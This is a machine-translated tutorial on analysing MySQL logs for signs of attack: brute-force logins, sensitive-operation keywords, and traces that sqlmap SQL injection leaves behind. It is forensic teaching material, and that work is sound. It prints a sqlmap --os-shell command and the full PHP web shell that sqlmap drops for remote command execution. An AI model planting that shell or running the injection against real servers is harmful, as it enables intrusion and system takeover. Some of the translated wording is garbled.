How to analyze database logs

Common database attacks include weak passwords, SQL injection, elevated privileges, stolen backups, etc. By analyzing database logs, attack behaviors can be discovered, attack scenarios can be further restored, and attack sources can be traced.

1. Mysql log analysis

The general query log can record successful connections and each query executed. We can use it as part of security deployment to provide troubleshooting Provide the basis for analysis or post-hacking investigations.

1. View the log configuration information

show variables like '%general%';

2. Enable the log

SET GLOBAL general_log = 'On';

3. Specify the log file path

SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';

For example, when I access /test .php?id=1, at this time we get a log like this:

190604 14:46:14       14 Connect    root@localhost on
                      14 Init DB    test   
                      14 Query    SELECT * FROM admin WHERE id = 1     
                      14 Quit

Let’s parse it by column:

The first column: Time, the time column, the first one is the date, the last one is the date One is hours and minutes. Some of the reasons why they are not displayed are because these SQL statements are executed almost at the same time, so the time is not recorded separately.

The second column: Id is the thread ID in the first column of show processlist. For long connections and some time-consuming SQL statements, you can accurately find out which thread is running. .

The third column: Command, operation type, for example, Connect is to connect to the database, Query is to query the database (additions, deletions, checks and modifications are all displayed as queries), some operations can be specifically filtered.

The fourth column: Argument, detailed information, for example, Connect root@localhost on means to connect to the database, and so on, what query operations were performed after connecting to the database.

2. Login success/failure

Let’s do a simple test. Use the weak password tool I developed before to scan it. The dictionary setting is relatively small. , 2 users, 4 passwords, 8 groups in total.

The log record in MySQL looks like this:

Time                 Id        Command         Argument
190601 22:03:20     98 Connect  root@192.168.204.1 on
        98 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        103 Connect  mysql@192.168.204.1 on       
        103 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        104 Connect  mysql@192.168.204.1 on       
        104 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Connect  root@192.168.204.1 on       
        101 Connect  root@192.168.204.1 on       
        101 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)       
        99 Connect  root@192.168.204.1 on        
        99 Connect  Access denied for user 'root'@'192.168.204.1' (using password: YES)      
        105 Connect  mysql@192.168.204.1 on       
        105 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Query  set autocommit=0      
        102 Connect  mysql@192.168.204.1 on       
        102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)      
        100 Quit

Do you know which one is successful in this password guessing process?

Using blasting tools, a successful password guessing record looks like this:

190601 22:03:20     100 Connectroot@192.168.204.1 on
   100 Queryset autocommit=0   
   100 Quit

However, if you use other methods, it may be a little different.

Navicat for MySQL login:

190601 22:14:07  106 Connectroot@192.168.204.1 on         
         106 QuerySET NAMES utf8
         106 QuerySHOW VARIABLES LIKE 'lower_case_%'         
         106 QuerySHOW VARIABLES LIKE 'profiling'         
         106 QuerySHOW DATABASES

Command line login:

190601 22:17:25  111 Connectroot@localhost on
         111 Queryselect @@version_comment limit 1
         190601 22:17:56  111 Quit

The difference is that different database connection tools have different processes in the initialization process of connecting to the database. . Through this difference, we can simply determine how the user connects to the database.

In addition, regardless of whether you use a blasting tool, Navicat for MySQL, or the command line, login failures will have the same record.

Login failure records:

102 Connect  mysql@192.168.204.1 on 
102 Connect  Access denied for user 'mysql'@'192.168.204.1' (using password: YES)

Use shell commands for simple analysis:

Which IPs are being blasted?

grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

What are the dictionaries of blasting usernames?

grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -
nr     13 mysql     12 root      1 root      1 mysql

In log analysis, special attention needs to be paid to some sensitive operations, such as deleting tables, preparing databases, reading and writing files, etc.

Keywords: drop table, drop function, lock tables, unlock tables, load_file(), into outfile, into dumpfile.
Sensitive database tables: SELECT * from mysql.user, SELECT * from mysql.func

3. Traces of SQL injection intrusion

Using SQL injection vulnerabilities During the process, we will try to use the --os-shell parameter of sqlmap to obtain the shell. If the operation is not careful, some temporary tables and custom functions created by sqlmap may be left behind. Let’s first take a look at the usage and principle of sqlmap os-shell parameters:

1. Construct a SQL injection point and enable Burp to listen to port 8080

sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080

The HTTP communication process is as follows:

Creates a temporary file tmpbwyov.php, executes system commands by accessing this Trojan, and returns to the page display.

tmpbwyov.php：
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set(&#39;max_execution_time&#39;,0);$z=@ini_get(&#39;disable_functions&#39;);if(!empty($z)){$z=preg_replace(&#39;/[, ]+/&#39;,&#39;,&#39;,$z);$z=explode(&#39;,&#39;,$z);$z=array_map(&#39;trim&#39;,$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(&#39;system&#39;)){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;proc_open&#39;)){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f(&#39;shell_exec&#39;)){$w=shell_exec($c);}elseif(f(&#39;passthru&#39;)){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f(&#39;popen&#39;)){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f(&#39;exec&#39;)){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre class="brush:php;toolbar:false">".$w."

Create a temporary table sqlmapoutput, call the stored procedure to execute system commands to write data into the temporary table, and then take the data from the temporary table and display it to the front end.

By checking the recently created suspicious files in the website directory, you can determine whether a SQL injection vulnerability attack has occurred.

Checking method:

1. Check whether there are some Trojan files in the website directory:

2. Check whether there is a UDF file Rights and MOF privilege escalation traces

Check whether there are abnormal files in the directory

mysqllibpluginc:/windows/system32/wbem/mof/

Check whether the function is deleted

select * from mysql.func

3. Combine with web log analysis.

Recommended tutorial: Web server security

The above is the detailed content of How to analyze database logs. For more information, please follow other related articles on the PHP Chinese website!